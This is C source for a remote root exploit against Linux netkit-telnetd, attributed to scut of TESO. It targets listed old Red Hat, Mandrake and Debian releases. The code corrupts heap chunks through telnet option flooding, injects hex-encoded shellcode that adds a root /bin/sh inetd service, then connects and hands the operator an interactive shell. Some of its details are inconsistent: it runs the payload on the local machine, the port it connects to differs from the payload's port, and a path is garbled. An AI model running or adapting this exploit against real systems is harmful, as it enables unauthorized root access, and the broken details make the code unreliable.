/*
TESO CONFIDENTIAL SOURCE CODE. DO NOT DISTRIBUTE
Linux netkit-telnetd remote root exploit by scut (http://www.team-teso.net)
Special thanks to zen-parse
*/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/telnet.h>
#define TELNETD_PORT 23
#define NOP 0x90
#define BSIZE 256
#define OFFSET 400
#define ADDR 0xbffff658
#define ASIZE 2000
struct targ
{
int def;
char *descr;
u_long location;
int dast;
int pad;
};
struct targ target[] =
{
{0, " Red Hat Linux 5.2", 0x80503f4, 0, 0},
{1, " Red Hat Linux 6.0", 0x8046ff8, 0, 0},
{2, " Red Hat Linux 6.1", 0x804ff74, 0, 0},
{3, " Red Hat Linux 6.2", 0x8051d34, 0, 0},
{4, " Red Hat Linux 7.0", 0x8021fb2, 0, 0},
{5, " Red Hat Linux 7.1", 0x8051f74, 0, 0},
{6, " Red Hat Linux 7.2", 0x8061f76, 0, 0},
{7, " Mandrake Linux 7.1", 0x806ff24, 0, 0},
{8, " Mandrake Linux 7.2", 0x806ff24, 0, 0},
{9, " Mandrake Linux 8.0", 0x806ff24, 0, 0},
{10, "Debian GNU Linux 2.2r3", 0x8050014, 0, 0},
{69, NULL, 0, 0, 0}
};
struct filda
{
int ayt_n;
int opt_n;
int ayt_re_len;
int opt_re_len;
int dast;
} fildap;
int sel = 0;
/* The list of the chars to write is inspired by the chunk header we
* wish to rewrite, that is: 0x00006800 0x00000010.
*/
char charzist[] =
"\xcc\x10\x69\x68\x69";
/* The following code is needed to start the login, accordingly
* with the telnet protocol. Code taken from zen-parse's work.
*/
char tosend[] = {
0xff, 0xfd, 0x03, 0xff, 0xfb, 0x18, 0xff, 0xfb, 0x1f, 0xff, 0xfb, 0x20,
0xff, 0xfb, 0x21, 0xff, 0xfb, 0x22, 0xff, 0xfb, 0x27, 0xff, 0xfd, 0x05,
0xff, 0xfb, 0x23, 0 };
char shellcode[] =
"\x65\x63\x68\x6f\x20\x22\x32\x32\x32\x32\x20\x73\x74\x72"
"\x65\x61\x6d\x20\x74\x63\x70\x20\x6e\x6f\x77\x61\x69\x74"
"\x20\x72\x6f\x6f\x74\x20\x2f\x62\x69\x6e\x2f\x73\x68\x20"
"\x73\x68\x20\x2d\x69\x22\x3e\x3e\x20\x2f\x74\x6d\x70\x2f"
"\x68\x3b\x2f\x75\x73\x72\x2f\x73\x62\x69\x6e\x2f\x69\x6e"
"\x65\x74\x64\x20\x2f\x74\x6d\x2f\x70\x68";
int sockami(char *host, int port);
void td_init(int sock);
void td_postit(int sock);
void put_env(int sock, char *name, char *value);
void __mk_flowa(int sock, char *hnam_re);
void calc_rewtn0(char *hnam_re);
void calc_rewtn1(void);
void shellami(int sock);
void __mk_darea(int sock, u_long locin2w, u_long addr2w);
void cl3anuppa(int sock);
void usage(char *progname);
char * __ck_hnam_re(char *host);
int
main(int argc, char **argv)
{
char *buffer;
int sock, cnt;
char sbuf[1024], rbuf[40960], host[1024], *hnam_re;
printf("\n Linux Telnetd remote root exploit by scut - http://www.team-teso.net\n\n");
if(argc == 1)
usage(argv[0]);
host[0] = 0;
buffer = (char *) malloc(BSIZE + ASIZE + 100);
memcpy(&buffer[BSIZE - strlen(shellcode)], shellcode,
strlen(shellcode));
buffer[BSIZE + ASIZE] = ';';
buffer[BSIZE + ASIZE + 1] = '\0';
while((cnt = getopt(argc,argv,"h:t:l:")) != EOF)
{
switch(cnt)
{
case 'h':
strncpy(host, optarg, sizeof(host));
host[sizeof(host) - 1] = '\x00';
break;
case 't':
sel = atoi(optarg);
break;
case 'l':
sscanf(optarg, "%p", &target[sel].location);
break;
default:
usage(argv[0]);
break;
}
}
if(host[0] == 0)
usage(argv[0]);
if(target[sel].dast == 0)
target[sel].dast = 21396;
if(target[sel].pad == 0)
target[sel].pad = 3128;
printf("- Looking for AYT answer at %s...\n", host);
hnam_re = __ck_hnam_re(host);
printf(" Found: %s\n", hnam_re);
printf("- Host: %s as: %s\n", host, target[sel].descr);
printf("- Connecting to %s...\n", host);
sock = sockami(host, TELNETD_PORT);
printf(" Done\n");
printf("- Sending codes...\n");
td_init(sock);
printf(" Done\n");
printf("- Setting variables...\n");
sprintf(sbuf, "%c%c%c", IAC, WILL, TELOPT_NEW_ENVIRON);
send(sock, sbuf, strlen(sbuf), 0);
put_env(sock, "USER", "TEAM-TESO");
put_env(sock, "TERM", "7350");
printf(" Done\n");
__mk_flowa(sock, hnam_re);
printf("- Building fake chunk...\n");
__mk_darea(sock, target[sel].location, (target[sel].location + 0x7044));
printf(" Done\n",
target[sel].pad, target[sel].location, (target[sel].location + 0x7044));
printf("- Working ...\n");
sprintf(sbuf, "%c%c%c", IAC, WILL, TELOPT_NEW_ENVIRON);
send(sock, sbuf, strlen(sbuf), 0);
td_postit(sock);
printf(" Done\n");
printf("- Waiting the rootshell...\n Can i get a r00t r00t? \n");
execl("/bin/sh", "sh", "-c", shellcode, 0);
read(sock, rbuf, sizeof(rbuf));
sleep(3);
close(sock);
sleep(2);
sock = sockami(host, 30464);
shellami(sock);
}
int
sockami(char *host, int port)
{
struct sockaddr_in address;
struct hostent *hp;
int sock;
sock = socket(AF_INET, SOCK_STREAM, 0);
if(sock == -1)
{
perror("socket()");
exit(-1);
}
hp = gethostbyname(host);
if(hp == NULL)
{
perror("gethostbyname()");
exit(-1);
}
memset(&address, 0, sizeof(address));
memcpy((char *) &address.sin_addr, hp->h_addr, hp->h_length);
address.sin_family = AF_INET;
address.sin_port = htons(port);
if(connect(sock, (struct sockaddr *) &address, sizeof(address)) == -1)
{
perror("connect()");
exit(-1);
}
return(sock);
}
void
td_init(int sock)
{
char sbuf[1024];
int n = 0, i = 0;
sprintf(sbuf, "%c%c%c", IAC, DO, TELOPT_STATUS);
send(sock, sbuf, strlen(sbuf), 0);
sprintf(sbuf, "%c%c%c", IAC, WILL, TELOPT_ECHO);
send(sock, sbuf, strlen(sbuf), 0);
return;
}
void
put_env(int sock, char *name, char *value)
{
char sbuf[1024];
int n = 0, i = 0;
memset(sbuf, 0x00, sizeof(sbuf));
sprintf(sbuf, "%c%c%c%c%c%s%c%s%c%c",
IAC, SB, TELOPT_NEW_ENVIRON,
TELQUAL_IS,
NEW_ENV_VAR, name,
NEW_ENV_VALUE, value,
IAC, SE);
/* Weird world I think..
*/
write(sock, sbuf, 512);
return;
}
void
__mk_flowa(int sock, char *hnam_re)
{
int i;
char rbuf[40960], sbuf[4096], tmp[4096], endo[4], *cp;
FILE *sock2;
sock2 = (FILE *)fdopen(sock, "w+");
cp = charzist;
calc_rewtn0(hnam_re);
fildap.dast = target[sel].dast;
cl3anuppa(sock);
fflush(sock2);
usleep(100000);
read(sock, rbuf, sizeof(rbuf));
/* Main overflow loop..
*/
while(1)
{
printf("- Calculating some stuff...\n");
calc_rewtn1();
printf(" Done\n");
printf("- Filling for char: %p...\n", *cp);
sprintf(endo, "%c%c", IAC, AYT);
memset(sbuf, 0x00, sizeof(sbuf));
for(i = 0; i < fildap.ayt_n; i++)
strcat(sbuf, endo);
strcpy(tmp, sbuf);
sprintf(endo, "%c%c%c", IAC, DO, *cp);
memset(sbuf, 0x00, sizeof(sbuf));
for(i = 0; i < fildap.opt_n; i++)
strcat(sbuf, endo);
strcat(tmp, sbuf);
strcpy(sbuf, tmp);
/* Weird world. Multiple calls to send() lead to a strange memory
* layout.
*/
send(sock, sbuf, strlen(sbuf), 0);
cl3anuppa(sock);
fflush(sock2);
usleep(100000);
read(sock, rbuf, sizeof(rbuf));
printf(" Done\n");
/* Alignments..
*/
if(*cp == '\xcc')
fildap.dast += 9;
if(*cp == '\x10')
fildap.dast -= 2;
if(*cp == '\x69')
fildap.dast -= 1;
if(*cp == '\x68')
fildap.dast -= 2;
*cp++;
sleep(2);
if(*cp == '\x00')
break;
}
return;
}
void
calc_rewtn0(char *hnam_re)
{
char buf[512];
fildap.ayt_n = 0;
fildap.opt_n = 0;
memset(buf, 0, sizeof(buf));
sprintf(buf, "\r\n[%s : yes]\r\n", hnam_re);
fildap.ayt_re_len = strlen(buf);
fildap.opt_re_len = 3;
return;
}
void
calc_rewtn1(void)
{
int n = 0;
while((fildap.ayt_n * fildap.ayt_re_len) != (fildap.dast - n))
{
fildap.ayt_n = (fildap.dast - n) / fildap.ayt_re_len;
n++;
}
while(1)
{
if(fildap.opt_n > 1000)
{
fprintf(stderr, " failed\n");
exit(1);
}
while(1)
{
fildap.opt_n += 1;
if(((fildap.ayt_n * fildap.ayt_re_len) +
(fildap.opt_n * fildap.opt_re_len)) >= fildap.dast)
break;
}
if(fildap.dast == ((fildap.ayt_n * fildap.ayt_re_len) +
(fildap.opt_n * fildap.opt_re_len)))
return;
fildap.ayt_n -= 1;
}
/* NEVER REACHED
*/
}
void
shellami(int sock)
{
int n;
char recvbuf[1024], *cmd = "id; uname -a\n";
fd_set rset;
send(sock, cmd, strlen(cmd), 0);
while (1)
{
FD_ZERO(&rset);
FD_SET(sock, &rset);
FD_SET(STDIN_FILENO, &rset);
select(sock+1, &rset, NULL, NULL, NULL);
if(FD_ISSET(sock, &rset))
{
n = read(sock, recvbuf, 1024);
if (n <= 0)
{
printf("Connection closed by foreign host.\n");
exit(0);
}
recvbuf[n] = 0;
printf("%s", recvbuf);
}
if (FD_ISSET(STDIN_FILENO, &rset))
{
n = read(STDIN_FILENO, recvbuf, 1024);
if (n > 0)
{
recvbuf[n] = 0;
write(sock, recvbuf, n);
}
}
}
return;
}
void
__mk_darea(int sock, u_long locin2w, u_long addr2w)
{
int i;
char sbuf[4096], pad[4096], sc[1024], endo[4];
char jmppl[] = "\x90\x90\x90\x90\xeb\x10\x90\x90";
struct malloc_chunk
{
size_t ps;
size_t sz;
struct malloc_chunk *fd;
struct malloc_chunk *bk;
} mc0, mc1;
mc0.ps = 0x08056769;
mc0.sz = 0x00000008;
mc0.fd = (struct malloc_chunk *)(locin2w - 12);
mc0.bk = (struct malloc_chunk *)addr2w;
mc1.ps = 0x00000000;
mc1.sz = 0x00000000;
mc1.fd = (struct malloc_chunk *)0xbfffda69;
mc1.bk = (struct malloc_chunk *)0xbfffda69;
/* Padding area before the fake chunk..
*/
strcpy(endo, "\x69");
memset(pad, 0x00, sizeof(pad));
for(i = 0; i < target[sel].pad; i++)
strcat(pad, endo);
/* Fake chunk building in netibuf..
*/
memset(sbuf, 0x00, sizeof(sbuf));
memcpy(sbuf, &pad, strlen(pad));
memcpy((sbuf + strlen(pad)), &mc0, sizeof(mc0));
memcpy((sbuf + strlen(pad) + sizeof(mc0)), &mc1, sizeof(mc1));
/* Shellcode party..
* The chunks work causes an addr to be written at retaddr + 8.
* So the program flow would get a segfault. We avoid it with a
* jmp instruction.
*/
strcpy(endo, "\x90");
memset(sc, 0x00, sizeof(sc));
memcpy(sc, &jmppl, strlen(jmppl));
for(i = 0; i < 256; i++)
strcat(sc, endo);
strcat(sc, shellcode);
memcpy((sbuf + strlen(pad) + sizeof(mc0) + sizeof(mc1)), sc, strlen(sc));
/* Weird world. Multiple calls to write() lead to a strange memory
* layout.
*/
write(sock, sbuf, (strlen(pad) + sizeof(mc0) + sizeof(mc1) +
strlen(sc)));
return;
}
void
cl3anuppa(int sock)
{
int i;
char *c = '\x00';
for(i = 0; i < 8192; i++)
write(sock, c, 1);
return;
}
void
td_postit(int sock)
{
char sbuf[4096];
sprintf(sbuf, "%c%c%c", IAC, WONT, TELOPT_TTYPE);
send(sock, sbuf, strlen(sbuf), 0);
sprintf(sbuf, "%c%c%c", IAC, WONT, TELOPT_TSPEED);
send(sock, sbuf, strlen(sbuf), 0);
sprintf(sbuf, "%c%c%c", IAC, WONT, TELOPT_XDISPLOC);
send(sock, sbuf, strlen(sbuf), 0);
sprintf(sbuf, "%s", tosend);
send(sock, sbuf, strlen(sbuf), 0);
sprintf(sbuf, "%c%c%c", IAC, WILL, TELOPT_ECHO);
send(sock, sbuf, strlen(sbuf), 0);
return;
}
void
usage(char *progname)
{
int i = 0;
printf("Usage: %s [options]\n", progname);
printf("Options:\n"
" -h hostname\n"
" -t target\n"
" -l location\n"
"Available targets:\n");
while(target[i].def != 69)
{
printf(" %d) %s\n", target[i].def, target[i].descr);
i++;
}
exit(1);
}
char *
__ck_hnam_re(char *host)
{
char sbuf[256], rbuf[256], *p, *hrp = (char *) malloc(256);
int sock, i = 0, n;
memset(rbuf, 0x00, sizeof(rbuf));
memset(hrp, 0x00, sizeof(hrp));
sock = sockami(host, TELNETD_PORT);
strcpy(sbuf, "\xff\xf6");
send(sock, sbuf, strlen(sbuf), 0);
usleep(100000);
read(sock, rbuf, sizeof(rbuf));
close(sock);
p = rbuf;
while(*p != '[')
*p++;
*p++;
while(*p != ' ')
hrp[i++] = *p++;
n = (strlen(hrp) / 3);
if((n * 3) == strlen(hrp))
{
fprintf(stderr, " the hostname (%s) is a multiple of 3 "
"letters long\n", hrp);
exit(1);
}
return(hrp);
}
|